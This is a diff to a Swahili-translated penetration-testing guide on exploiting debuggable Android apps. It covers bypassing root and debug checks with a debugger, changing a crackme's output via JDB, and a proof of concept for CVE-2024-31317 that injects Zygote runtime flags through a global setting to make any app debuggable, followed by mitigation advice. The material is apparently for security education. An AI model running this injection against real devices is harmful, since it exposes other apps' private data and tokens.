diff --git a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md index e323bb1d3..509104d84 100644 --- a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md +++ b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md @@ -2,90 +2,126 @@ {{#include ../../banners/hacktricks-training.md}} -# **Bypassing root and debuggeable checks** +# **Kupita ukaguzi wa root na debuggeable** Sehemu hii ya chapisho ni muhtasari kutoka kwa chapisho [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) -## Steps to Make an Android App Debuggable and Bypass Checks +## Hatua za Kufanya Programu ya Android Kuwa Debuggable na Kupita Ukaguzi -### **Making the App Debuggable** +### **Kufanya Programu Kuwa Debuggable** Maudhui yanategemea https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 -1. **Decompile the APK:** +1. **Decompile APK:** - Tumia zana ya APK-GUI kwa ajili ya decompiling APK. -- Katika faili _android-manifest_, weka `android:debuggable=true` ili kuwezesha hali ya debugging. +- Katika faili _android-manifest_, weka `android:debuggable="true"` ili kuwezesha hali ya debugging. - Recompile, sign, na zipalign programu iliyobadilishwa. -2. **Install the Modified Application:** +2. **Sakinisha Programu Iliyobadilishwa:** - Tumia amri: `adb install `. -3. **Retrieve the Package Name:** +3. **Pata Jina la Kifurushi:** - Tekeleza `adb shell pm list packages –3` ili orodhesha programu za wahusika wengine na kupata jina la kifurushi. -4. **Set the App to Await Debugger Connection:** +4. **Weka Programu Kusubiri Muunganisho wa Debugger:** - Amri: `adb shell am setup-debug-app –w `. - **Kumbuka:** Amri hii lazima ifanywe kila wakati kabla ya kuanzisha programu ili kuhakikisha inasubiri debugger. -- Kwa kudumu, tumia `adb shell am setup-debug-app –w -–persistent `. +- Kwa kudumu, tumia `adb shell am setup-debug-app –w ––persistent `. - Kuondoa bendera zote, tumia `adb shell am clear-debug-app `. -5. **Prepare for Debugging in Android Studio:** +5. **Andaa kwa Debugging katika Android Studio:** - Tembea katika Android Studio hadi _File -> Open Profile or APK_. -- Fungua APK iliyorekebishwa. +- Fungua APK iliyorecompiled. -6. **Set Breakpoints in Key Java Files:** +6. **Weka Breakpoints katika Faili Muhimu za Java:** - Weka breakpoints katika `MainActivity.java` (hasa katika njia ya `onCreate`), `b.java`, na `ContextWrapper.java`. -### **Bypassing Checks** +### **Kupita Ukaguzi** -Programu, katika hatua fulani, itathibitisha ikiwa inapatikana kwa debugging na pia itakagua binaries zinazoashiria kifaa kilichoshikiliwa. Debugger inaweza kutumika kubadilisha taarifa za programu, kuondoa kipande cha debuggable, na kubadilisha majina ya binaries zinazotafutwa ili kupita hizi checks. +Programu, katika sehemu fulani, itathibitisha ikiwa inapatikana kwa debugging na pia itakagua binaries zinazoashiria kifaa kilichoshikiliwa. Debugger inaweza kutumika kubadilisha taarifa za programu, kuondoa bit ya debuggable, na kubadilisha majina ya binaries zinazotafutwa ili kupita ukaguzi huu. -Kwa ajili ya ukaguzi wa debuggable: +Kwa ukaguzi wa debuggable: -1. **Modify Flag Settings:** +1. **Badilisha Mipangilio ya Bendera:** - Katika sehemu ya mabadiliko ya debugger console, tembea hadi: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`. - **Kumbuka:** Uwakilishi wa binary wa `flags = 814267974` ni `11000011100111011110`, unaonyesha kuwa "Flag_debuggable" inafanya kazi. ![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png) -Hatua hizi kwa pamoja zinahakikisha kuwa programu inaweza kudebugiwa na kwamba ukaguzi fulani wa usalama unaweza kupitishwa kwa kutumia debugger, ikiruhusu uchambuzi wa kina au mabadiliko ya tabia ya programu. +Hatua hizi kwa pamoja zinahakikisha kuwa programu inaweza kudebugged na kwamba ukaguzi fulani wa usalama unaweza kupitishwa kwa kutumia debugger, kurahisisha uchambuzi wa kina au mabadiliko ya tabia ya programu. Hatua ya 2 inahusisha kubadilisha thamani ya bendera kuwa 814267972, ambayo inawakilishwa kwa binary kama 110000101101000000100010100. -# **Exploiting a Vulnerability** +# **Kutatua Uthibitisho** -Uonyeshaji ulitolewa kwa kutumia programu yenye udhaifu inayokuwa na kitufe na textview. Kwanza, programu inaonyesha "Crack Me". Lengo ni kubadilisha ujumbe kutoka "Try Again" hadi "Hacked" wakati wa utendaji, bila kubadilisha msimbo wa chanzo. +Uonyeshaji ulitolewa kwa kutumia programu yenye udhaifu inayojumuisha kitufe na textview. Kwanza, programu inaonyesha "Crack Me". Lengo ni kubadilisha ujumbe kutoka "Try Again" hadi "Hacked" wakati wa utendaji, bila kubadilisha msimbo wa chanzo. -## **Checking for Vulnerability** +## **Kuangalia Uthibitisho** -- Programu ilidecompiled kwa kutumia `apktool` ili kufikia faili `AndroidManifest.xml`. -- Uwepo wa `android_debuggable="true"` katika AndroidManifest.xml unaonyesha kuwa programu inapatikana kwa debugging na inahatarishwa kwa unyakuzi. -- Inafaa kutambua kuwa `apktool` inatumika pekee kuangalia hali ya debuggable bila kubadilisha msimbo wowote. +- Programu ilitolewa kwa kutumia `apktool` ili kufikia faili ya `AndroidManifest.xml`. +- Uwepo wa `android_debuggable="true"` katika AndroidManifest.xml unaonyesha kuwa programu inaweza kudebugged na inahatarisha kutumika. +- Inafaa kutaja kuwa `apktool` inatumika pekee kuangalia hali ya debuggable bila kubadilisha msimbo wowote. -## **Preparing the Setup** +## **Kuandaa Mipangilio** -- Mchakato ulijumuisha kuanzisha emulator, kufunga programu yenye udhaifu, na kutumia `adb jdwp` ili kubaini bandari za Dalvik VM zinazotafutwa. +- Mchakato ulijumuisha kuanzisha emulator, kusakinisha programu yenye udhaifu, na kutumia `adb jdwp` ili kubaini bandari za Dalvik VM zinazot listening. - JDWP (Java Debug Wire Protocol) inaruhusu debugging ya programu inayotembea katika VM kwa kufichua bandari ya kipekee. -- Kuelekeza bandari ilikuwa muhimu kwa ajili ya debugging ya mbali, ikifuatiwa na kuunganisha JDB kwenye programu lengwa. +- Kuelekeza bandari ilikuwa muhimu kwa debugging ya mbali, ikifuatiwa na kuunganisha JDB kwenye programu lengwa. -## **Injecting Code at Runtime** +## **Kuingiza Msimbo Wakati wa Utendaji** -- Unyakuzi ulifanywa kwa kuweka breakpoints na kudhibiti mtiririko wa programu. +- Uthibitisho ulifanywa kwa kuweka breakpoints na kudhibiti mtiririko wa programu. - Amri kama `classes` na `methods ` zilitumika kufichua muundo wa programu. - Breakpoint ilipangwa katika njia ya `onClick`, na utekelezaji wake ulidhibitiwa. -- Amri za `locals`, `next`, na `set` zilitumika kukagua na kubadilisha mabadiliko ya ndani, hasa kubadilisha ujumbe wa "Try Again" kuwa "Hacked". +- Amri za `locals`, `next`, na `set` zilitumika kuchunguza na kubadilisha mabadiliko ya ndani, hasa kubadilisha ujumbe wa "Try Again" kuwa "Hacked". - Msimbo uliobadilishwa ulitekelezwa kwa kutumia amri ya `run`, kwa mafanikio kubadilisha matokeo ya programu kwa wakati halisi. -Mfano huu ulionyesha jinsi tabia ya programu inayopatikana kwa debugging inaweza kudhibitiwa, ikionyesha uwezekano wa unyakuzi wa zaidi kama kupata ufikiaji wa shell kwenye kifaa katika muktadha wa programu. +Mfano huu ulionyesha jinsi tabia ya programu inayoweza kudebugged inaweza kudhibitiwa, ikionyesha uwezekano wa udanganyifu wa zaidi kama kupata ufikiaji wa shell kwenye kifaa katika muktadha wa programu. -## References +--- + +# 2024 – Kugeuza **programu yoyote** kuwa mchakato wa debuggable (CVE-2024-31317) + +Hata kama APK lengwa _siyo_ iliyotolewa na bendera ya `android:debuggable`, utafiti wa hivi karibuni umeonyesha kuwa inawezekana kulazimisha **programu zisizo na mpangilio** kuanza na bendera ya wakati wa `DEBUG_ENABLE_JDWP` kwa kutumia njia ambayo Zygote inasoma hoja za amri. + +* **Udhaifu:** Uthibitishaji usio sahihi wa `--runtime-flags` zinazotolewa kupitia socket ya amri ya Zygote inaruhusu mshambuliaji ambaye anaweza kufikia `system_server` (kwa mfano kupitia shell ya `adb` yenye mamlaka ambayo ina ruhusa ya `WRITE_SECURE_SETTINGS`) kuingiza vigezo vya ziada. Wakati amri iliyoundwa inarudiwa na `system_server`, programu ya mwathirika inafanywa kama _debuggable_ na na thread ya JDWP inayosikiliza. Tatizo hili linafuatiliwa kama **CVE-2024-31317** na lilirekebishwa katika Bulletin ya Usalama ya Android ya Juni 2024. +* **Athari:** Ufikiaji kamili wa kusoma/kandika kwenye saraka ya data ya faragha ya **programu yoyote** (ikiwemo zile zenye mamlaka kama `com.android.settings`), wizi wa tokeni, kupita MDM, na katika kesi nyingi njia ya moja kwa moja ya kupandisha mamlaka kwa kutumia mwisho wa IPC uliotolewa wa mchakato sasa-debuggable. +* **Toleo lililoathirika:** Android 9 hadi 14 kabla ya kiwango cha patch ya Juni 2024. + +## PoC ya Haraka +```bash +# Requires: adb shell (device must be <2024-06-01 patch-level) +# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag +adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:" + +# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP +adb shell monkey -p com.victim.bank 1 + +# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio +adb jdwp # obtain the PID +adb forward tcp:8700 jdwp: +jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700 +``` +> Thamani iliyoundwa katika hatua ya 1 inavunja parser kutoka kwenye “fast-path” na kuongezea amri ya pili ya synthetic ambapo `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) inakubaliwa kana kwamba imetolewa na mfumo. Mara tu programu inapozaliwa, soketi ya JDWP inafunguliwa na hila za kawaida za dynamic-debug (badilisha mbinu, pataji ya mabadiliko, sindikiza ya moja kwa moja ya Frida, nk.) zinaweza kufanyika **bila kubadilisha APK au picha ya kuanzisha kifaa**. + +## Ugunduzi & Kupunguza + +* Pataji hadi **2024-06-01** (au baadaye) kiwango cha usalama – Google imeimarisha `ZygoteCommandBuffer` ili amri zinazofuata zisiweze kupitishwa kwa njia hii. +* Punguza ufikiaji wa `WRITE_SECURE_SETTINGS` / `shell` kwenye vifaa vya uzalishaji. Uvunjaji huu unahitaji ruhusa hii, ambayo kawaida inashikiliwa tu na ADB au programu zenye mamlaka ya OEM. +* Kwenye meli zinazodhibitiwa na EMM/MDM, enforce `ro.debuggable=0` na kataa shell kupitia `adb disable-verifier`. + +--- + +## Marejeleo - [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) - [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications) +- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html) +- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/) {{#include ../../banners/hacktricks-training.md}}